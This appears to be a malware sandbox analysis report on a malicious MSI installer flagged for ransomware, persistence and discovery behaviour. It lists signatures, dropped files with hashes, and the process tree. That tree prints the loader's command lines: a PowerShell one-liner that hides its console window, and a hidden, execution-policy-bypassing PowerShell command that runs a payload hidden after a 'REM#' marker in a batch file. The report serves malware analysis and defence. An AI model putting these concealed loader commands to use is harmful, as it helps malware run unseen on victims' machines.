Overview

overview

8

Static

static

3

9207d240580629f2.msi

windows10-2004-x64

8

9207d240580629f2.msi

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/11/2026, 00:09

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    9207d240580629f2.msi
  • Size 2.8MB
  • Sample261102-aft7msdf63
  • SHA256 9207d240580629f2296a8b602a143997fe3c67aa1f0c0842bad44c57aa827ff8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoveryexecutionpersistenceprivilege_escalationransomware

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\9207d240580629f2.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1572
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1876
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:5288
    • C:\Windows\system32\cmd.exe
      cmd.exe /c start "" /min /wait cmd.exe /c call "C:\Users\Admin\AppData\Local\kyd9gv4D\p7aaPw1f.bat" "C:\Users\Admin\AppData\Local\Temp\9207d240580629f2.msi"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5260
      • C:\Windows\system32\cmd.exe
        cmd.exe /c call "C:\Users\Admin\AppData\Local\kyd9gv4D\p7aaPw1f.bat" "C:\Users\Admin\AppData\Local\Temp\9207d240580629f2.msi"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3468
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -nop -w h -c "$q=[char]34; $d='public static class N {[System.Runtime.InteropServices.DllImport('+$q+'kernel32.dll'+$q+')]public static extern System.IntPtr GetConsoleWindow();[System.Runtime.InteropServices.DllImport('+$q+'user32.dll'+$q+')]public static extern System.IntPtr GetAncestor(System.IntPtr h,uint g);[System.Runtime.InteropServices.DllImport('+$q+'user32.dll'+$q+')]public static extern bool ShowWindow(System.IntPtr h,int n);}'; Add-Type -TypeDefinition $d; $c=[N]::GetConsoleWindow(); $r=[N]::GetAncestor($c,2); if($r -eq [IntPtr]::Zero){$r=$c}; [void][N]::ShowWindow($r,7)"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1908
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1qyvhhb4\1qyvhhb4.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4304
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE53B.tmp" "c:\Users\Admin\AppData\Local\Temp\1qyvhhb4\CSC6A79B7B4476649D7BFB7F8293B7D51B.TMP"
              6⤵
                PID:5212
          • C:\Windows\system32\wscript.exe
            wscript //B //nologo "C:\Users\Admin\AppData\Local\Temp\b24242.vbs"
            4⤵
            • Checks computer location settings
            • Executes a VBScript file via the Windows Script Host.
            • Suspicious use of WriteProcessMemory
            PID:4672
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$r=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\kyd9gv4D\p7aaPw1f.bat');$i=$r.LastIndexOf('REM#');&([scriptblock]::Create($r.Substring($i+4)))"
              5⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1528
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious use of AdjustPrivilegeToken
      PID:2976

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e58db68.rbs
          • Path C:\Config.Msi\e58db68.rbs
          • Size 8KB
          • SHA256 b88aa80232ecc24598eaa79d3b4c993eb5e25b72041deed68429a5d9da9532bd
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 7d35560840fdc2f391e46e45c3a0b6e08648a746285b17e83bbb5fb373723d6e
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          1qyvhhb4.dll
          • Path C:\Users\Admin\AppData\Local\Temp\1qyvhhb4\1qyvhhb4.dll
          • Size 3KB
          • SHA256 eab6422e1358b34c42120d771d603e5d0d774bf6cd709614d82bf70639bea703
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          RESE53B.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\RESE53B.tmp
          • Size 1KB
          • SHA256 118e3f3c3f693ff6371b9010899909037125c0db29f24fe881cc9e8a6fea4bc8
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_4v2oiktf.irf.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4v2oiktf.irf.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          b24242.vbs
          • Path C:\Users\Admin\AppData\Local\Temp\b24242.vbs
          • Size 175B
          • SHA256 a37ecd480b44bf715fc30be4f744e50efe937e62817c15e3a9439417cf7e4dfe
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          p21283.bin
          • Path C:\Users\Admin\AppData\Local\Temp\p21283.bin
          • Size 2.8MB
          • SHA256 9207d240580629f2296a8b602a143997fe3c67aa1f0c0842bad44c57aa827ff8
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          p7aaPw1f.bat
          • Path C:\Users\Admin\AppData\Local\kyd9gv4D\p7aaPw1f.bat
          • Size 40KB
          • SHA256 9bef8e8de4cbec5e35953b76d119468bc252f5a294087c1ded632677edab3ecd
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 e63830612f819af971f3f4c8c21c054b1baf3bf913b67f08811ae347ed33edb0
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {5d404bf7-616c-4bc4-b26d-0cfb7cc9629e}_OnDiskSnapshotProp
          • Path \??\Volume{8860bf69-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{5d404bf7-616c-4bc4-b26d-0cfb7cc9629e}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 edcca71a67bc44028cc55fcd2018b19a7b9c1e6f6ca3e86796b696c3fec8f729
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          1qyvhhb4.0.cs
          • Path \??\c:\Users\Admin\AppData\Local\Temp\1qyvhhb4\1qyvhhb4.0.cs
          • Size 382B
          • SHA256 42706b4746dc80e36b32b6c85865604af5d31b57467671860ef7722aef4e64c0
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          1qyvhhb4.cmdline
          • Path \??\c:\Users\Admin\AppData\Local\Temp\1qyvhhb4\1qyvhhb4.cmdline
          • Size 369B
          • SHA256 cd477c9553b718c6453bc20c95eb14d31472e7fe6dcb274534689c10a103674e
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          CSC6A79B7B4476649D7BFB7F8293B7D51B.TMP
          • Path \??\c:\Users\Admin\AppData\Local\Temp\1qyvhhb4\CSC6A79B7B4476649D7BFB7F8293B7D51B.TMP
          • Size 652B
          • SHA256 510fd229d23aa41688db68a836094eee4f3b2cb87219a9091ced7d9372236399
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/1528-58-0x0000000140000000-0x0000000140166000-memory.dmp
          Download

          memory/1528-60-0x00000156FA6B0000-0x00000156FA6B2000-memory.dmp
          Download

          memory/1528-70-0x00000156FA850000-0x00000156FA8CA000-memory.dmp
          Download

          memory/1528-75-0x0000000140000000-0x0000000140166000-memory.dmp
          Download

          memory/1908-31-0x000001F2F97C0000-0x000001F2F97C8000-memory.dmp
          Download

          memory/1908-16-0x000001F2E1290000-0x000001F2E12B2000-memory.dmp
          Download